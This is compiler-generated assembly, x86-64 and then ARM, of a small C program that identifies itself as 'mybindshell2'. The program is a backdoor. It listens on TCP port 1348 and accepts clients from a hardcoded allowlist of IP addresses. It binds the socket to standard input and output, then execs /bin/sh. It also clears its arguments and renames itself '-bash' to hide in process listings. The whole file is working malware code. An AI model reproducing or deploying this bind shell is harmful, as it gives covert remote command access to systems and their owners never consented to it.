	.file	"516190.c"
	.intel_syntax noprefix
	.text
	.globl	allowip
	.section	.rodata
.LC0:
	.string	"192.168.0.1"
.LC1:
	.string	"217.97.31.90"
.LC2:
	.string	"217.98.221.144"
	.section	.data.rel.local,"aw"
	.align 32
	.type	allowip, @object
	.size	allowip, 32
allowip:
	.quad	.LC0
	.quad	.LC1
	.quad	.LC2
	.quad	0
	.globl	motd
	.data
	.align 32
	.type	motd, @object
	.size	motd, 61
motd:
	.string	"Welcome to mybindshell2.\nHint: Put ';' before each command.\n"
	.text
	.globl	allow
	.type	allow, @function
allow:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -4[rbp], 0
	jmp	.L2
.L5:
	mov	eax, DWORD PTR -4[rbp]
	lea	rdx, 0[0+rax*8]
	lea	rax, allowip[rip]
	mov	rdx, QWORD PTR [rdx+rax]
	mov	rax, QWORD PTR -24[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L3
	mov	eax, 1
	jmp	.L4
.L3:
	add	DWORD PTR -4[rbp], 1
.L2:
	mov	eax, DWORD PTR -4[rbp]
	lea	rdx, 0[0+rax*8]
	lea	rax, allowip[rip]
	mov	rax, QWORD PTR [rdx+rax]
	test	rax, rax
	jne	.L5
	mov	eax, 0
.L4:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	allow, .-allow
	.section	.rodata
.LC3:
	.string	"uname -sr"
.LC4:
	.string	"/bin/sh"
	.text
	.globl	go
	.type	go, @function
go:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	QWORD PTR -16[rbp], rsi
	mov	rax, QWORD PTR -16[rbp]
	mov	rdi, rax
	call	allow
	test	eax, eax
	je	.L7
	lea	rdi, motd[rip]
	call	strlen@PLT
	mov	rdx, rax
	mov	eax, DWORD PTR -4[rbp]
	lea	rsi, motd[rip]
	mov	edi, eax
	mov	eax, 0
	call	write@PLT
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, 0
	mov	edi, eax
	mov	eax, 0
	call	dup2@PLT
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, 1
	mov	edi, eax
	mov	eax, 0
	call	dup2@PLT
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, 2
	mov	edi, eax
	mov	eax, 0
	call	dup2@PLT
	lea	rdi, .LC3[rip]
	call	system@PLT
	mov	edx, 0
	lea	rsi, .LC4[rip]
	lea	rdi, .LC4[rip]
	mov	eax, 0
	call	execl@PLT
	mov	eax, DWORD PTR -4[rbp]
	mov	edi, eax
	mov	eax, 0
	call	close@PLT
	mov	edi, 0
	call	exit@PLT
.L7:
	mov	eax, DWORD PTR -4[rbp]
	mov	edi, eax
	mov	eax, 0
	call	close@PLT
	mov	edi, 0
	call	exit@PLT
	.cfi_endproc
.LFE7:
	.size	go, .-go
	.section	.rodata
.LC5:
	.string	"socket()"
.LC6:
	.string	"bind()"
.LC7:
	.string	"listen()"
.LC8:
	.string	"[*] allow ips:\n"
.LC9:
	.string	"[%d] %s\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 80
	mov	DWORD PTR -68[rbp], edi
	mov	QWORD PTR -80[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -60[rbp], 0
	jmp	.L9
.L10:
	mov	eax, DWORD PTR -60[rbp]
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -80[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	mov	eax, DWORD PTR -60[rbp]
	lea	rcx, 0[0+rax*8]
	mov	rax, QWORD PTR -80[rbp]
	add	rax, rcx
	mov	rax, QWORD PTR [rax]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	add	DWORD PTR -60[rbp], 1
.L9:
	mov	eax, DWORD PTR -68[rbp]
	cmp	DWORD PTR -60[rbp], eax
	jb	.L10
	mov	rax, QWORD PTR -80[rbp]
	mov	rax, QWORD PTR [rax]
	mov	DWORD PTR [rax], 1935761965
	mov	BYTE PTR 4[rax], 104
	lea	rax, -48[rbp]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	WORD PTR -48[rbp], 2
	mov	DWORD PTR -44[rbp], 0
	mov	edi, 1348
	call	htons@PLT
	mov	WORD PTR -46[rbp], ax
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -56[rbp], eax
	cmp	DWORD PTR -56[rbp], -1
	jne	.L11
	lea	rdi, .LC5[rip]
	call	perror@PLT
	mov	eax, 1
	jmp	.L19
.L11:
	mov	eax, DWORD PTR -56[rbp]
	lea	rcx, -48[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	bind@PLT
	test	eax, eax
	je	.L13
	lea	rdi, .LC6[rip]
	call	perror@PLT
	mov	eax, 1
	jmp	.L19
.L13:
	mov	eax, DWORD PTR -56[rbp]
	mov	esi, 3
	mov	edi, eax
	call	listen@PLT
	test	eax, eax
	je	.L14
	lea	rdi, .LC7[rip]
	call	perror@PLT
	mov	eax, 1
	jmp	.L19
.L14:
	mov	rax, QWORD PTR stdout[rip]
	mov	rcx, rax
	mov	edx, 15
	mov	esi, 1
	lea	rdi, .LC8[rip]
	call	fwrite@PLT
	mov	DWORD PTR -60[rbp], 0
	jmp	.L15
.L16:
	mov	eax, DWORD PTR -60[rbp]
	lea	rdx, 0[0+rax*8]
	lea	rax, allowip[rip]
	mov	rax, QWORD PTR [rdx+rax]
	mov	edx, DWORD PTR -60[rbp]
	lea	ecx, 1[rdx]
	mov	rdx, rax
	mov	esi, ecx
	lea	rdi, .LC9[rip]
	mov	eax, 0
	call	printf@PLT
	add	DWORD PTR -60[rbp], 1
.L15:
	mov	eax, DWORD PTR -60[rbp]
	lea	rdx, 0[0+rax*8]
	lea	rax, allowip[rip]
	mov	rax, QWORD PTR [rdx+rax]
	test	rax, rax
	jne	.L16
	mov	DWORD PTR -64[rbp], 16
	call	fork@PLT
	test	eax, eax
	je	.L17
	mov	edi, 0
	call	exit@PLT
.L17:
	mov	eax, DWORD PTR -56[rbp]
	lea	rdx, -64[rbp]
	lea	rcx, -32[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	accept@PLT
	mov	DWORD PTR -52[rbp], eax
	call	fork@PLT
	test	eax, eax
	je	.L18
	mov	eax, DWORD PTR -56[rbp]
	mov	edi, eax
	mov	eax, 0
	call	close@PLT
	mov	eax, DWORD PTR -28[rbp]
	mov	edi, eax
	call	inet_ntoa@PLT
	mov	rdx, rax
	mov	eax, DWORD PTR -52[rbp]
	mov	rsi, rdx
	mov	edi, eax
	call	go
.L18:
	mov	eax, DWORD PTR -52[rbp]
	mov	edi, eax
	mov	eax, 0
	call	close@PLT
	jmp	.L17
.L19:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L20
	call	__stack_chk_fail@PLT
.L20:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"516190.c"
	.text
	.global	allowip
	.section	.rodata
	.align	2
.LC0:
	.ascii	"192.168.0.1\000"
	.align	2
.LC1:
	.ascii	"217.97.31.90\000"
	.align	2
.LC2:
	.ascii	"217.98.221.144\000"
	.data
	.align	2
	.type	allowip, %object
	.size	allowip, 16
allowip:
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	0
	.global	motd
	.align	2
	.type	motd, %object
	.size	motd, 61
motd:
	.ascii	"Welcome to mybindshell2.\012Hint: Put ';' before ea"
	.ascii	"ch command.\012\000"
	.text
	.align	2
	.global	allow
	.syntax unified
	.arm
	.fpu softvfp
	.type	allow, %function
allow:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L2
.L5:
	ldr	r2, .L6
	ldr	r3, [fp, #-8]
	ldr	r3, [r2, r3, lsl #2]
	mov	r1, r3
	ldr	r0, [fp, #-16]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L3
	mov	r3, #1
	b	.L4
.L3:
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L2:
	ldr	r2, .L6
	ldr	r3, [fp, #-8]
	ldr	r3, [r2, r3, lsl #2]
	cmp	r3, #0
	bne	.L5
	mov	r3, #0
.L4:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L7:
	.align	2
.L6:
	.word	allowip
	.size	allow, .-allow
	.section	.rodata
	.align	2
.LC3:
	.ascii	"uname -sr\000"
	.align	2
.LC4:
	.ascii	"/bin/sh\000"
	.text
	.align	2
	.global	go
	.syntax unified
	.arm
	.fpu softvfp
	.type	go, %function
go:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	ldr	r0, [fp, #-12]
	bl	allow
	mov	r3, r0
	cmp	r3, #0
	beq	.L9
	ldr	r0, .L10
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r1, .L10
	ldr	r0, [fp, #-8]
	bl	write
	mov	r1, #0
	ldr	r0, [fp, #-8]
	bl	dup2
	mov	r1, #1
	ldr	r0, [fp, #-8]
	bl	dup2
	mov	r1, #2
	ldr	r0, [fp, #-8]
	bl	dup2
	ldr	r0, .L10+4
	bl	system
	mov	r2, #0
	ldr	r1, .L10+8
	ldr	r0, .L10+8
	bl	execl
	ldr	r0, [fp, #-8]
	bl	close
	mov	r0, #0
	bl	exit
.L9:
	ldr	r0, [fp, #-8]
	bl	close
	mov	r0, #0
	bl	exit
.L11:
	.align	2
.L10:
	.word	motd
	.word	.LC3
	.word	.LC4
	.size	go, .-go
	.section	.rodata
	.align	2
.LC5:
	.ascii	"-bash\000"
	.align	2
.LC6:
	.ascii	"socket()\000"
	.align	2
.LC7:
	.ascii	"bind()\000"
	.align	2
.LC8:
	.ascii	"listen()\000"
	.align	2
.LC9:
	.ascii	"[*] allow ips:\012\000"
	.align	2
.LC10:
	.ascii	"[%d] %s\012\000"
	.align	2
.LC11:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 64
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #68
	str	r0, [fp, #-72]
	str	r1, [fp, #-76]
	ldr	r3, .L25
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-60]
	b	.L13
.L14:
	ldr	r3, [fp, #-60]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-76]
	add	r3, r2, r3
	ldr	r4, [r3]
	ldr	r3, [fp, #-60]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-76]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	mov	r1, #0
	mov	r0, r4
	bl	memset
	ldr	r3, [fp, #-60]
	add	r3, r3, #1
	str	r3, [fp, #-60]
.L13:
	ldr	r3, [fp, #-72]
	ldr	r2, [fp, #-60]
	cmp	r2, r3
	bcc	.L14
	ldr	r3, [fp, #-76]
	ldr	r3, [r3]
	ldr	r2, .L25+4
	mov	r0, r3
	mov	r1, r2
	mov	r3, #5
	mov	r2, r3
	bl	memcpy
	sub	r3, fp, #48
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	memset
	mov	r3, #2
	strh	r3, [fp, #-48]	@ movhi
	mov	r3, #0
	str	r3, [fp, #-44]
	ldr	r0, .L25+8
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-46]	@ movhi
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	mov	r3, r0
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-56]
	cmn	r3, #1
	bne	.L15
	ldr	r0, .L25+12
	bl	perror
	mov	r3, #1
	b	.L23
.L15:
	ldr	r3, [fp, #-56]
	sub	r1, fp, #48
	mov	r2, #16
	mov	r0, r3
	bl	bind
	mov	r3, r0
	cmp	r3, #0
	beq	.L17
	ldr	r0, .L25+16
	bl	perror
	mov	r3, #1
	b	.L23
.L17:
	ldr	r3, [fp, #-56]
	mov	r1, #3
	mov	r0, r3
	bl	listen
	mov	r3, r0
	cmp	r3, #0
	beq	.L18
	ldr	r0, .L25+20
	bl	perror
	mov	r3, #1
	b	.L23
.L18:
	ldr	r3, .L25+24
	ldr	r3, [r3]
	mov	r2, #15
	mov	r1, #1
	ldr	r0, .L25+28
	bl	fwrite
	mov	r3, #0
	str	r3, [fp, #-60]
	b	.L19
.L20:
	ldr	r3, [fp, #-60]
	add	r1, r3, #1
	ldr	r2, .L25+32
	ldr	r3, [fp, #-60]
	ldr	r3, [r2, r3, lsl #2]
	mov	r2, r3
	ldr	r0, .L25+36
	bl	printf
	ldr	r3, [fp, #-60]
	add	r3, r3, #1
	str	r3, [fp, #-60]
.L19:
	ldr	r2, .L25+32
	ldr	r3, [fp, #-60]
	ldr	r3, [r2, r3, lsl #2]
	cmp	r3, #0
	bne	.L20
	mov	r3, #16
	str	r3, [fp, #-64]
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	beq	.L21
	mov	r0, #0
	bl	exit
.L21:
	ldr	r3, [fp, #-56]
	sub	r2, fp, #64
	sub	r1, fp, #32
	mov	r0, r3
	bl	accept
	mov	r3, r0
	str	r3, [fp, #-52]
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	beq	.L22
	ldr	r0, [fp, #-56]
	bl	close
	ldr	r0, [fp, #-28]
	bl	inet_ntoa
	mov	r3, r0
	mov	r1, r3
	ldr	r0, [fp, #-52]
	bl	go
.L22:
	ldr	r0, [fp, #-52]
	bl	close
	b	.L21
.L23:
	ldr	r2, .L25
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L24
	bl	__stack_chk_fail
.L24:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L26:
	.align	2
.L25:
	.word	.LC11
	.word	.LC5
	.word	1348
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	stdout
	.word	.LC9
	.word	allowip
	.word	.LC10
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
